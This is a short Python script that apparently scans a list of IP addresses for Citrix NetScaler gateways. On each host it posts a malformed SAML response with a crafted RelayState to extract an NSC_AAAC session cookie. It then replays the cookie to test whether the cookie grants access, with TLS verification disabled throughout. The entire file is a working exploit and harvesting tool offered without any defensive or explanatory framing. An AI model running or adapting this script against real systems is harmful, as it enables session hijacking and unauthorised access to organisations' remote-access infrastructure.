import base64, re, ssl, sys, urllib.error, urllib.parse, urllib.request

UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36"
RS16 = base64.b64encode(b"ctx=" + b"\x00" * 12).decode()


def op():
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    ctx.set_ciphers("DEFAULT@SECLEVEL=1")

    class N(urllib.request.HTTPRedirectHandler):
        def redirect_request(self, *a, **k):
            return None

    return urllib.request.build_opener(urllib.request.HTTPSHandler(context=ctx), N)


def call(ip, path, cookie=None, data=None, timeout=15):
    r = urllib.request.Request("https://%s%s" % (ip, path), data=data)
    r.add_header("User-Agent", UA)
    if data is not None:
        r.add_header("Content-Type", "application/x-www-form-urlencoded")
    if cookie:
        r.add_header("Cookie", cookie)
    try:
        x = op().open(r, timeout=timeout)
        return x.status, x.headers.get("Location") or "", x.read(120000).decode("utf-8", "replace"), (x.headers.get_all("Set-Cookie") or [])
    except urllib.error.HTTPError as e:
        return e.code, e.headers.get("Location") or "", "", (e.headers.get_all("Set-Cookie") or [])
    except Exception:
        return None, "", "", []


def main():
    for ip in [l.split("\t")[0].strip() for l in open(sys.argv[1]) if l.strip()]:
        body = ("SAMLResponse=AAAA&RelayState=" + urllib.parse.quote(RS16, safe="")).encode()
        st, loc, _, cks = call(ip, "/cgi/samlauth", None, body)
        aacs = [c.split(";")[0] for c in cks if c.startswith("NSC_AAAC=")]
        aac = aacs[0] if aacs else ""
        val = aac.split("=", 1)[1] if "=" in aac else ""
        hexlen = len(re.sub(r"[^0-9a-fA-F]", "", val))
        # verify: use cookie on the ACS landing page
        v1 = v3 = "-"
        if val and val.lower() not in ("deleted", "xyz"):
            s1, l1, _, _ = call(ip, "/cgi/setclient?wica", aac)
            v1 = "%s %s" % (s1 or 0, l1[:35])
            s3, l3, b3, _ = call(ip, "/cgi/setclient?wica", None)
            v3 = "%s %s %d" % (s3 or 0, l3[:25], len(b3))
        print("%s\t%d\t%s\t%d\t%s\t%s\t%s" % (ip, st or 0, loc[:40], hexlen, v1, v3, val[:16]), flush=True)


main()
